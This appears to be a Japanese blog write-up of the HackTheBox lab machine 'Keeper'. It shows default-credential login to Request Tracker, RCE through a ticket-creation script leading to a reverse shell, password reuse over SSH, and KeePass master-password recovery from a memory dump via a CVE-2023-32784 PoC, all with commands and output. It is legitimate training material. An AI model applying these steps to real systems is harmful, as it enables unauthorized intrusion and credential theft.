HackTheBox Keeper WriteUp

今回は、HackTheBoxのEasyマシン「Keeper」のWriteUpです。
名前からKeepassが連想されますが、どのようなマシンなのでしょうか。

![スクリーンショット 2024-02-12 17.10.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/247aff15-736d-96a9-0e70-ac00e53a676f.png)

グラフは普通にEasyな感じですね！
最近のマシンはEasyでも少し難しいものが多いので、油断せずにがんばります！

HackTheBoxってなに？という方はこちらの記事を見てみてください。一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Keeper

### 侵入

それでは、ポートスキャンから始めていきましょう。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo nmap -Pn -n -v -T4 -p- -sS --min-rate=1000 -A 10.10.11.227 -oN nmap.log

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_  256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesnt have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
```
22番と80番を発見しました。
それでは、Webへアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/608e865e-e2c6-ad79-cc6a-6e5833000977.png)

リンクが表示されました。hostsファイルにドメインを登録してアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/dc88b318-6053-4518-f27c-b78a27587f18.png)

ログインページが表示されました。
どうやら、Request tracker という製品のログインページのようです。

少し調べてみると、Request trackerのデフォルトの認証情報を発見しました。

https://rt-wiki.bestpractical.com/wiki/RecoverRootPassword

どうやら、```name : root``` と ```password : password``` がデフォルトのようです。
ログインできるか試してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c3dd8868-1ad9-00b4-da1f-239f88a54ded.png)

ログインできました！
ここから侵入に繋がる機能がないかをWeb内を調べてみます。

### RCE

一通り、Web内を確認しましたが、パッと見だと侵入につながりそうなものはなさそうです。
何か特別な機能を持っている可能性はあるので、少しGoogleで検索してみると、気になる記事を発見しました。

https://forum.bestpractical.com/t/execute-bash-script-when-creating-new-ticket/35844/2

どうやら、Request trackerでは新しいチケットを作成する時に、コマンドを実行できるようです。
記事を参考にし、実際に実行できるかどうかみてみましょう。

まずは、Global Scriptを作成します。

![スクリーンショット 2023-08-14 113000.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/8580a7f0-dcb5-afc4-6bc5-c306c0a8fcc6.png)

ここで、条件を```On Create```にすることで、作成時にこのスクリプトを実行させることができます。
そして、```Custom action commit code```に実行したいコマンドを設定します。とりあえず検証として```ping```を実行させます。 

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0267b099-31b7-d232-a120-e654bb6c72de.png)

```Custom action preparation code```を```return 1;```に設定することを忘れないでください。

ここまで設定できたら、Create を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2e95b5cd-707f-24be-912e-7b8bc7b3604f.png)

作成できました。
では、次はコマンドを実行させるためにチケットを新規作成します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d3ba181e-9e0d-3b8c-e16c-0033edef7f82.png)

入力する情報はなんでもいいので、適当に入力します。
作成する前に```tcpdump```を実行すること忘れないでください。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
```

それでは、チケットを作成してみましょう！Create を押下します。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:38:32.598737 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 1, length 64
11:38:32.598850 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 1, length 64
11:38:33.595841 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 2, length 64
11:38:33.595876 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 2, length 64
11:38:34.594751 IP tickets.keeper.htb > 10.10.14.7: ICMP echo request, id 2, seq 3, length 64
11:38:34.594778 IP 10.10.14.7 > tickets.keeper.htb: ICMP echo reply, id 2, seq 3, length 64
```

コマンドが実行されました！
RCEが発火したのでこれで侵入できそうです！

先ほどのスクリプトの```ping```をリバースシェルを返すコマンドへ変更します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/10ebfcdb-c348-54d9-9683-064d2943cdae.png)

Save Change を押下し、変更を保存します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c865d0e2-4a30-0c1f-6526-a427d3043a7a.png)

Scriptが変更できたら、先ほどと同じようにチケットを作成していきます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/10490947-03b1-bb68-b6f0-e1577c03a66b.png)

作成する前に、待ち受けさせるのを忘れないでください。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...
```

## www-data としてのシェル

それでは、Create を押下し、コマンドを実行させましょう！

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ nc -lvnp 2121
listening on [any] 2121 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.227] 41544
www-data@keeper:~$ whoami
www-data
```

シェルを取得できました！
侵入成功です！

### 横移動

www-data としてのシェルだったので、横移動が必要になります。
home ディレクトリを確認し、どんなユーザがいるかみてみましょう。

```bash
www-data@keeper:/home$ ls -l
total 4
drwxr-xr-x 4 lnorgaard lnorgaard 4096 Aug 14 06:01 lnorgaard
```

```lnorgaard```ユーザが存在することを確認しました。
アクセス権限はあるので、中をみてみましょう。

```bash
www-data@keeper:/home/lnorgaard$ ls -l
total 2
-rw-r--r-- 1 lnorgaard lnorgaard  87391651 Aug 16 07:48 RT30000.zip
-rw-r----- 1 root      lnorgaard        33 Aug 15 15:10 user.txt
```

何やら怪しいzipファイルと、ユーザフラグがあります。
zipファイルは www-data の状態でも読み込み可能ですが、ユーザフラグへの読み込み権限がないので、もう少し列挙してみることにしました。

色々と確認しましたが、Web内でユーザを検索する機能があることを思い出しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/5acbd257-7507-b2e3-e485-2744d158ed17.png)

```lnorgaard```ユーザを検索してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1b5deee6-7c6c-dc87-b010-bdbd52c33dbf.png)

ユーザが見つかり、1つのActive Ticketsを発見しました。
この画面の右上に Edit と書かれたリンクがあります。なんとなくクリックしてみると、ユーザ情報が確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f52ad9b5-6d73-487a-b726-43fbff62d0ee.png)

特に気になる情報はなさそうかなーと思っていましたが、一番下にユーザに対するコメントを発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/37b45888-84a3-d685-eee5-07ee9b2b9128.png)

そこには、新規ユーザの初期パスワードが```Welcome2023!```であると書かれています！
もしかすると、初期パスワードが変更されずそのまま使用されているかもしれません。

## lnorgaard としてのシェル

それでは、SSH接続ができないか試してみましょう。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ ssh lnorgaard@10.10.11.227                       
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ whoami
lnorgaard
```

接続できました！
どうやら初期パスワードは変更されていなかったようです。

```bash
lnorgaard@keeper:~$ ls -l
total 2
-rw-r--r-- 1 lnorgaard lnorgaard  87391651 Aug 16 07:52 RT30000.zip
-rw-r----- 1 root      lnorgaard        33 Aug 15 15:10 user.txt
```

これでやっとユーザフラグをゲットできました！
実は、www-dataを通らずともパスワードを取得はできたのですが、私が実際に攻略したときはwww-dataからパスワードを取得したので、フローを書いています！

### 権限昇格

では、いよいよ権限昇格を狙っていきましょう。
すでに怪しいzipファイルを見つけているので、ホスト側にコピーします。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ scp lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip ./    
lnorgaard@10.10.11.227s password: 
RT30000.zip                                                                        100%   83MB   1.4MB/s   01:01    
```

コピーできたので、解凍してみましょう。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ unzip RT30000.zip
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx          
```

dmpファイルとkdbxファイルを確認しました。
最終的に、kdbxファイルを開くことができたら勝ちっぽいので、パスワードさえ取得できれば攻略できそうです。

### CVE-2023-32784

少し、Keepassとdmpファイルについて調べてみると、かなり怪しい記事を発見しました！

https://github.com/vdohney/keepass-password-dumper

どうやら、dmpファイルからマスターパスワードを復元させることができるようです。
ちょうどPoCツールが公開されているのを見つけました。

https://github.com/CMEPW/keepass-dump-masterkey

それでは、このスクリプトの引数にdmpファイルを指定し、実行してみましょう。

```bahs
🐧+[~/Keeper/keepass-dump-masterkey]
Ex9loit👾<10.10.14.7>$ python3 poc.py -d ../KeePassDumpFull.dmp                                  
2023-08-16 13:13:11,612 [.] [main] Opened ../KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
```

少し壊れている部分はありますが、最終的に「dgrd med flde」という文字がパスワードで使用されていることがわかりました。ツールの説明から見ても、パスワードを完全に復元するのは不可能であることがわかっています。
壊れている部分を推測する必要がありますが、あまり見慣れない文字なのでダメ元でそのまま検索してみることにしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/3bcd55ff-e65f-63b1-dd40-ffb25c58d547.png)

もしかしての部分で、「dgrd med flode」が出てきています。再度検索してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a7e5b437-ef5e-a0c2-dd8b-760cbd73107c.png)

何やらデザートのような写真がヒットしました。
どうやらこれはデンマークのデザートのようで、正式には「rødgrød med fløde」というみたいです。
ここで私は、この正式名称が先ほどマスターパスワードを復元させた際の「ちょうど壊れていた部分」と文字数が重なルコとに気がつきました。もしかするとこれはそのままパスワードとして使えるかもしれません。

keepass2 を実行し、パスワードを入力してみましょう。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ keepass2
```

先ほどのkdbxファイルを選択し、マスターパスワードに```rødgrød med fløde```を入力します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/35c26919-4760-acb7-6524-6b930de76e50.png)

では、OKを押してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7af0b18c-8566-dcde-664c-d943afebd585.png)

kdbxファイルを開くことに成功しました！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/840259ea-75be-3f65-dde7-29e5c38d37b9.png)

中身を見てみると、PuTTY形式の秘密鍵がありました。
これをローカルで保存し、OpenSSH形式の鍵へ変換しましょう。

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ puttygen root.ppk -O private-openssh -o root.ssh
```

変換に成功しました。

## root としてのシェル

それでは、変換した鍵を使用し、SSH接続を行いましょう！

```bash
🐧+[~/Keeper]
Ex9loit👾<10.10.14.7>$ ssh -i root.ssh root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug 15 21:52:38 2023 from 10.10.14.3
root@keeper:~# whoami
root
```

root としてのシェルを取得しました！
権限昇格成功です！

```bash
root@keeper:~# ls -l
total 85352
-rw-r----- 1 root root       33 Aug 15 15:10 root.txt
-rw-r--r-- 1 root root 87391651 Jul 25 19:56 RT30000.zip
drwxr-xr-x 2 root root     4096 Jul 25 20:11 SQL
```

フラグも無事取得できました！
完全攻略です〜！

### 攻略を終えて

Keeper、攻略していてとても楽しいマシンでした！ただ、デンマークのデザートは本当に分からず実際に攻略している時は、結構時間をかけてしまいました。文字数が同じことに気付いた時、「え？これもしかしてそのまま使える？」と半信半疑で入力し、使えたときは驚きました笑
今回は初期パスワードをそのまま使用していることが原因で権限昇格まで行われました。初期パスワードを変更せずにそのまま使っているパターンは実世界でもよく見かけます。本当に簡単に侵入/ログインされてしまうので必ず初期パスワードを変更するように注意喚起をしていきたいです。
少しCTF感もあるマシンでした！
今後もHackTheBoxのWriteUpを公開していきますので、見ていただけると嬉しいです！
それでは、最後まで閲覧していただきありがとうございました〜！！